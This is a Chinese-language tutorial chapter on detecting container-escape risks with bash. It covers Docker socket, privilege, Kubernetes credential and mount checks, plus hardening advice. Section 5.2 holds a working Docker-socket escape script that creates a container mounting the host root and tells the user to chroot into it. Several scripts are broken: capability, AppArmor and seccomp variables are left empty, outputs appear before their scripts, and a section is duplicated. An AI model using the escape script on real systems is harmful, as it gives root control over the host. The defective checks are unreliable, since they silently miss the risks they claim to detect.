容器逃逸的bash检测脚本

章节概述

容器技术(Docker、LXC、Kubernetes 等)在现代 DevOps 中广泛使用,但不当的配置可能导致容器逃逸,使攻击者获得宿主机的 root 权限。本章系统性地讲解容器环境检测方法、Docker 逃逸检查、Kubernetes 提权向量、挂载检测、特权容器检测,以及自动化容器逃逸检测脚本的编写。

核心理念
容器逃逸的本质是利用容器与宿主机之间的共享资源(内核、命名空间、设备挂载等)来突破隔离边界。检测的核心是识别容器环境、评估隔离配置、发现可利用的挂载和权限。


第1节 容器环境检测

1.1 判断是否在容器中

[*] = 容器环境检测 =

=== 方法1: /proc/1/cgroup ===
[+] 未检测到容器环境(cgroup)

=== 方法2: /.dockerenv ===
[+] 未发现 /.dockerenv

=== 方法3: /proc/1/cmdline ===
PID 1 命令行: /sbin/init

=== 方法4: 环境变量 ===
[+] 未发现容器相关环境变量

=== 方法5: 挂载点 ===
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,inode64,huge=advise,usrquota)
overlay on /var/lib/docker/rootfs/overlayfs/6709f151f615e0f602f48dfd78abaa2ce6cdba8add06b1a8c97d4ba8c8a85467 type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/8/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/7/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/6/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/5/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/4/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/3/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/2/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/9/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/9/work,index=off)

=== 方法6: 进程列表 ===
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 21168 15504 ? Ss 08:28 0:02 /sbin/init
root 2 0.0 0.0 0 0 ? S 08:28 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S 08:28 0:00 [pool_workqueue_release]
root 4 0.0 0.0 0 0 ? I< 08:28 0:00 [kworker/R-rcu_gp]
root 5 0.0 0.0 0 0 ? I< 08:28 0:00 [kworker/R-sync_wq]
root 6 0.0 0.0 0 0 ? I< 08:28 0:00 [kworker/R-kvfree_rcu_reclaim]
root 7 0.0 0.0 0 0 ? I< 08:28 0:00 [kworker/R-slub_flushwq]
root 8 0.0 0.0 0 0 ? I< 08:28 0:00 [kworker/R-netns]
root 10 0.0 0.0 0 0 ? I< 08:28 0:00 [kworker/0:0H-kblockd]

1.2 容器类型识别

[*] 识别容器类型…


第2节 Docker 逃逸检查

2.1 Docker Socket 检测

[*] = Docker 逃逸风险检查 =

=== Docker Socket 检查 ===
[!] 发现 Docker Socket: /var/run/docker.sock
权限: 660 root:docker
Docker 版本: 29.7.2
[!] 发现 Docker Socket: /run/docker.sock
权限: 660 root:docker
Docker 版本: 29.7.2
[!] 发现 Docker Socket: /var/run/docker
权限: 700 root:root
Docker 版本: 29.7.2

=== Docker 环境变量 ===

2.2 特权容器检测

[*] = 特权容器检测 =

=== Capabilities 检查 ===
CapEff: 000001ffffffffff
[+] Seccomp 已启用 (模式: 0
0)

=== AppArmor 检查 ===


第3节 Kubernetes 提权检查

3.1 Kubernetes 环境检测

[*] = Kubernetes 环境检测 =

=== ServiceAccount Token ===
[+] 未发现 ServiceAccount Token

=== kubeconfig 检查 ===


第4节 挂载检测

4.1 宿主机文件系统挂载

[*] = 挂载点安全检查 =

=== 敏感目录挂载 ===
[!] 敏感目录已挂载: /root
overlay on /var/lib/docker/rootfs/overlayfs/6709f151f615e0f602f48dfd78abaa2ce6cdba8add06b1a8c97d4ba8c8a85467 type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/8/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/7/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/6/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/5/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/4/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/3/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/2/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/9/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/9/work,index=off)
[!] 敏感目录已挂载: /home
/dev/nvme0n1p2 on /home type btrfs (rw,relatime,compress=zstd:3,ssd,discard=async,space_cache=v2,subvolid=257,subvol=/@home)
[!] 敏感目录已挂载: /proc
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=44,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=4713)
binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)
[!] 敏感目录已挂载: /sys
sys on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
efivarfs on /sys/firmware/efi/efivars type efivarfs (rw,nosuid,nodev,noexec,relatime)
securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)
cgroup2 on /sys/fs/cgroup type cgroup2 (rw,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot,memory_hugetlb_accounting)
none on /sys/fs/pstore type pstore (rw,nosuid,nodev,noexec,relatime)
bpf on /sys/fs/bpf type bpf (rw,nosuid,nodev,noexec,relatime,mode=700)
systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=44,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=4713)
debugfs on /sys/kernel/debug type debugfs (rw,nosuid,nodev,noexec,relatime)
configfs on /sys/kernel/config type configfs (rw,nosuid,nodev,noexec,relatime)
tracefs on /sys/kernel/tracing type tracefs (rw,nosuid,nodev,noexec,relatime)
fusectl on /sys/fs/fuse/connections type fusectl (rw,nosuid,nodev,noexec,relatime)
none on /run/credentials/systemd-journald.service type tmpfs (ro,nosuid,nodev,noexec,relatime,nosymfollow,size=1024k,nr_inodes=1024,mode=700,inode64,huge=advise,noswap)
binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)
[!] 敏感目录已挂载: /dev
dev on /dev type devtmpfs (rw,nosuid,relatime,size=7970540k,nr_inodes=1992635,mode=755,inode64,huge=advise)
/dev/nvme0n1p2 on / type btrfs (rw,relatime,compress=zstd:3,ssd,discard=async,space_cache=v2,subvolid=256,subvol=/@)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,inode64,huge=advise,usrquota)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=600,ptmxmode=000)
hugetlbfs on /dev/hugepages type hugetlbfs (rw,nosuid,nodev,relatime,pagesize=2M)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/nvme0n1p2 on /home type btrfs (rw,relatime,compress=zstd:3,ssd,discard=async,space_cache=v2,subvolid=257,subvol=/@home)
/dev/nvme0n1p2 on /var/cache/pacman/pkg type btrfs (rw,relatime,compress=zstd:3,ssd,discard=async,space_cache=v2,subvolid=259,subvol=/@pkg)
/dev/nvme0n1p2 on /var/log type btrfs (rw,relatime,compress=zstd:3,ssd,discard=async,space_cache=v2,subvolid=258,subvol=/@log)
/dev/nvme0n1p1 on /boot type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=ascii,shortname=mixed,utf8,errors=remount-ro)

=== 可写挂载 ===


第5节 自动化容器逃逸检测

5.1 综合容器逃逸扫描器

==========================================
容器逃逸自动化检测器 v1.0

[*] 检测容器环境…
[+] 未检测到容器环境

[*] 检查 Docker 逃逸向量…
[!] Docker Socket 已挂载 - 可以控制 Docker daemon!

第5节 自动化容器逃逸检测

5.1 综合容器逃逸扫描器

#!/usr/bin/env bash
# container_escape_scanner.sh - 容器逃逸自动化检测
set -euo pipefail
 
RED=''
GREEN=''
YELLOW=''
CYAN=''
NC=''
 
log_info()  { echo -e "${CYAN}[*]${NC} $*"; }
log_found() { echo -e "${RED}[!]${NC} $*"; }
log_safe()  { echo -e "${GREEN}[+]${NC} $*"; }
log_warn()  { echo -e "${YELLOW}[~]${NC} $*"; }
 
detect_container() {
    log_info "检测容器环境..."
    local is_container=false
    if [[ -f /.dockerenv ]]; then log_found "Docker 容器"; is_container=true; fi
    if grep -qE "(docker|lxc|kubepods|containerd)" /proc/1/cgroup 2>/dev/null; then
        log_found "容器 cgroup 检测"; is_container=true
    fi
    if [[ -f /run/.containerenv ]]; then log_found "Podman 容器"; is_container=true; fi
    if [[ "$is_container" == false ]]; then log_safe "未检测到容器环境"; fi
}
 
check_docker_escape() {
    log_info "检查 Docker 逃逸向量..."
    if [[ -S /var/run/docker.sock ]] || [[ -S /run/docker.sock ]]; then
        log_found "Docker Socket 已挂载 - 可以控制 Docker daemon!"
    fi
    if [[ -f /proc/1/status ]]; then
        local caps
        caps=
        if [[ "$caps" == "0000003fffffffff" ]]; then
            log_found "特权容器 - 拥有所有 capabilities!"
        fi
    fi
    if [[ -f /proc/1/attr/current ]]; then
        local aa
        aa=
        if [[ "$aa" == "unconfined" ]]; then log_warn "AppArmor 未启用"; fi
    fi
}
 
check_k8s_escape() {
    log_info "检查 Kubernetes 逃逸向量..."
    if [[ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]]; then
        log_found "ServiceAccount Token 可用"
    fi
    for conf in /etc/kubernetes/admin.conf /root/.kube/config; do
        if [[ -f "$conf" ]]; then log_found "kubeconfig 可用: $conf"; fi
    done
}
 
check_mounts() {
    log_info "检查危险挂载..."
    local dangerous_dirs=("/var/run/docker.sock" "/etc/shadow" "/root" "/home")
    for d in "${dangerous_dirs[@]}"; do
        if mount | grep -q "$d"; then log_found "危险挂载: $d"; fi
    done
}
 
main() {
    echo "=========================================="
    echo "  容器逃逸自动化检测器 v1.0"
    echo "=========================================="
    detect_container; echo ""
    check_docker_escape; echo ""
    check_k8s_escape; echo ""
    check_mounts; echo ""
    log_info "检测完成"
}
main "$@"

5.2 Docker Socket 利用脚本

#!/usr/bin/env bash
# docker_sock_exploit.sh - Docker Socket 逃逸利用
set -euo pipefail
 
echo "[*] === Docker Socket 逃逸利用 ==="
 
if [[ ! -S /var/run/docker.sock ]] && [[ ! -S /run/docker.sock ]]; then
    echo "[-] 未发现 Docker Socket"; exit 1
fi
 
SOCK="/var/run/docker.sock"
[[ -S /run/docker.sock ]] && SOCK="/run/docker.sock"
echo "[+] Docker Socket: $SOCK"
 
echo "[*] 列出所有容器..."
curl -s --unix-socket "$SOCK" http://localhost/containers/json 2>/dev/null | head -5
 
echo "[*] 创建逃逸容器(挂载宿主机根目录)..."
curl -s --unix-socket "$SOCK" -X POST     -H "Content-Type: application/json"     -d '{"Image":"alpine","Cmd":["/bin/sh"],"Mounts":[{"Type":"bind","Source":"/","Target":"/host"}]}'     http://localhost/containers/create?name=escape_container 2>/dev/null
 
echo "[+] 逃逸容器已创建"
echo "[*] 启动: docker start escape_container"
echo "[*] 进入: docker exec -it escape_container chroot /host"

第6节 防御与加固

6.1 容器安全加固检查

#!/usr/bin/env bash
# container_hardening.sh - 容器安全加固检查
set -euo pipefail
 
echo "[*] === 容器安全加固检查 ==="
 
echo ""
echo "===== 用户检查 ====="
if [[ "$(id -u)" == "0" ]]; then
    echo "[!] 容器以 root 用户运行"
else
    echo "[+] 容器以非 root 用户运行: $(whoami)"
fi
 
echo ""
echo "===== Capabilities 检查 ====="
if [[ -f /proc/1/status ]]; then
    caps=
    echo "CapEff: $caps"
    dangerous_caps=("cap_sys_admin" "cap_sys_ptrace" "cap_net_admin" "cap_dac_override")
    for cap in "${dangerous_caps[@]}"; do
        if capsh --print 2>/dev/null | grep -q "$cap"; then
            echo "  [!] 危险 capability: $cap"
        fi
    done
fi
 
echo ""
echo "===== Seccomp 检查 ====="
seccomp=
if [[ "$seccomp" == "0" ]]; then echo "[!] Seccomp 未启用"
else echo "[+] Seccomp 已启用 (模式: $seccomp)"; fi
 
echo ""
echo "===== AppArmor 检查 ====="
if [[ -f /proc/1/attr/current ]]; then
    aa=
    if [[ "$aa" == "unconfined" ]]; then echo "[!] AppArmor 未启用"
    else echo "[+] AppArmor 已启用: $aa"; fi
fi
 
echo ""
echo "===== 文件系统检查 ====="
if mount | grep -q "ro.* / "; then echo "[+] 根文件系统为只读"
else echo "[!] 根文件系统可写"; fi
 
echo "[+] 加固检查完成"

6.2 Docker 安全运行建议

# Docker 安全运行最佳实践
 
# 1. 不使用 --privileged
# docker run --rm -it alpine
 
# 2. 只添加必要的 capabilities
# docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE alpine
 
# 3. 使用只读文件系统
# docker run --read-only --tmpfs /tmp alpine
 
# 4. 禁用特权提升
# docker run --security-opt=no-new-privileges alpine
 
# 5. 使用非 root 用户
# docker run --user 1000:1000 alpine
 
# 6. 限制资源
# docker run --memory=256m --cpus=0.5 --pids-limit=100 alpine
 
# 7. 使用 seccomp 配置文件
# docker run --security-opt seccomp=custom.json alpine
 
# 8. 使用 AppArmor 配置文件
# docker run --security-opt apparmor=custom-profile alpine
 
# 9. 不挂载 Docker Socket
# 不要: docker run -v /var/run/docker.sock:/var/run/docker.sock
 
# 10. 使用网络隔离
# docker run --network=none alpine